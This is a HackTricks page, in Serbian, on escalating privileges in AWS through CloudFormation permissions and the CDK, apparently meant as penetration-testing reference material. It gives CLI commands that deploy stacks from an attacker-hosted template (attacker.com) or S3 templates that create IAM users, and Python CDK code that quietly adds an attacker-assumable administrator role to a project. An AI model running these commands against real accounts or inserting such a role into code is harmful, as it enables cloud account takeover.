AWS - Cloudformation Privesc
Reading time: 6 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
cloudformation
Za više informacija o cloudformation, proverite:
AWS - CloudFormation & Codestar Enum
iam:PassRole
, cloudformation:CreateStack
Napadač sa ovim dozvolama može eskalirati privilegije kreiranjem CloudFormation steka sa prilagođenim šablonom, hostovanim na njihovom serveru, da izvrši akcije pod dozvolama određenog rola:
aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>
Na sledećoj stranici imate primer eksploatacije sa dodatnom dozvolom cloudformation:DescribeStacks
:
iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks
Potencijalni uticaj: Privesc na servisnu ulogu cloudformation-a koja je navedena.
iam:PassRole
, (cloudformation:UpdateStack
| cloudformation:SetStackPolicy
)
U ovom slučaju možete zloupotrebiti postojeći cloudformation stack da ga ažurirate i eskalirate privilegije kao u prethodnom scenariju:
aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1
Dozvola cloudformation:SetStackPolicy
može se koristiti da dajte sebi UpdateStack
dozvolu za stog i izvršite napad.
Potencijalni uticaj: Privesc na cloudformation servisnu ulogu koja je navedena.
cloudformation:UpdateStack
| cloudformation:SetStackPolicy
Ako imate ovu dozvolu, ali nemate iam:PassRole
, i dalje možete ažurirati stogove koji se koriste i zloupotrebiti IAM uloge koje su već povezane. Proverite prethodni odeljak za primer eksploatacije (samo nemojte navoditi nijednu ulogu u ažuriranju).
Dozvola cloudformation:SetStackPolicy
može se koristiti da dajte sebi UpdateStack
dozvolu za stog i izvršite napad.
Potencijalni uticaj: Privesc na cloudformation servisnu ulogu koja je već povezana.
iam:PassRole
,((cloudformation:CreateChangeSet
, cloudformation:ExecuteChangeSet
) | cloudformation:SetStackPolicy
)
Napadač sa dozvolama da prođe ulogu i kreira & izvrši ChangeSet može kreirati/ažurirati novi cloudformation stog i zloupotrebiti cloudformation servisne uloge baš kao sa CreateStack ili UpdateStack.
Sledeća eksploatacija je varijacija CreateStack one koristeći ChangeSet dozvole za kreiranje stoga.
aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1
echo "Waiting 2 mins to change the stack"
sleep 120
aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1
echo "Waiting 2 mins to execute the stack"
sleep 120
aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1
Dozvola cloudformation:SetStackPolicy
može se koristiti za dodeljivanje sebi ChangeSet
dozvola nad stakom i izvršavanje napada.
Potencijalni uticaj: Privesc na cloudformation servisne uloge.
(cloudformation:CreateChangeSet
, cloudformation:ExecuteChangeSet
) | cloudformation:SetStackPolicy
)
Ovo je kao prethodna metoda bez prosleđivanja IAM uloga, tako da možete samo zloupotrebiti već pridružene, samo izmenite parametar:
--change-set-type UPDATE
Potential Impact: Privesc na cloudformation servisnu ulogu koja je već povezana.
iam:PassRole
,(cloudformation:CreateStackSet
| cloudformation:UpdateStackSet
)
Napadač bi mogao zloupotrebiti ove dozvole da kreira/aktualizuje StackSets kako bi zloupotrebio proizvoljne cloudformation uloge.
Potential Impact: Privesc na cloudformation servisne uloge.
cloudformation:UpdateStackSet
Napadač bi mogao zloupotrebiti ovu dozvolu bez passRole dozvole da ažurira StackSets kako bi zloupotrebio povezane cloudformation uloge.
Potential Impact: Privesc na povezane cloudformation uloge.
AWS CDK
AWS cdk je alat za omogućavanje korisnicima da definišu svoju infrastrukturu kao kod u jezicima koje već poznaju, kao i lako ponovo koriste delove. CDK zatim konvertuje visoko-nivo kod (npr. python) u Cloudformation šablone (yaml ili json).
Da bi koristili CDK, administrativni korisnik prvo mora da bootstrapuje nalog, što kreira nekoliko IAM uloga, uključujući exec role, koja ima */* dozvole. Ove uloge prate strukturu imenovanja cdk-<qualifier>-<name>-<account-id>-<region>
. Bootstrapovanje mora biti urađeno jednom po regionu po nalogu.
Po defaultu, CDK korisnici nemaju pristup listi uloga potrebnih za korišćenje CDK, što znači da ćete ih morati odrediti ručno. Ako kompromitujete mašinu programera ili neki CI/CD čvor, ove uloge se mogu preuzeti da vam omoguće sposobnost da implementirate CFN šablone, koristeći cfn-exec
ulogu da omogućite CFN da implementira bilo koje resurse, potpuno kompromitujući nalog.
Određivanje imena uloga
Ako imate cloudformation:DescribeStacks
, uloge su definisane u stack-u pod nazivom CDKToolkit
, i možete izvući imena odatle.
Ako ste na mašini koja je korišćena za izgradnju i implementaciju CDK projekata, možete ih izvući iz cdk.out/manafest.json
u korenskom direktorijumu projekata.
Takođe možete dobro pogoditi koja su. qualifier
je string dodat uloge koji omogućava više instanci CDK bootstrap-a da budu implementirane odjednom, međutim, podrazumevana vrednost je hard-kodirana na hnb659fds
.
# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>
Dodavanje malicioznog koda u izvor projekta
Ako možete da pišete u izvor projekta, ali ne možete sami da ga implementirate (na primer, programer implementira kod putem CI/CD, a ne sa lokalne mašine), i dalje možete kompromitovati okruženje dodavanjem malicioznih resursa u stog. Sledeće dodaje IAM ulogu koja može biti preuzeta od strane naloga napadača u python CDK projektu.
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)
# ----------
# Some existing code.....
# ----------
role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)
Reference
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.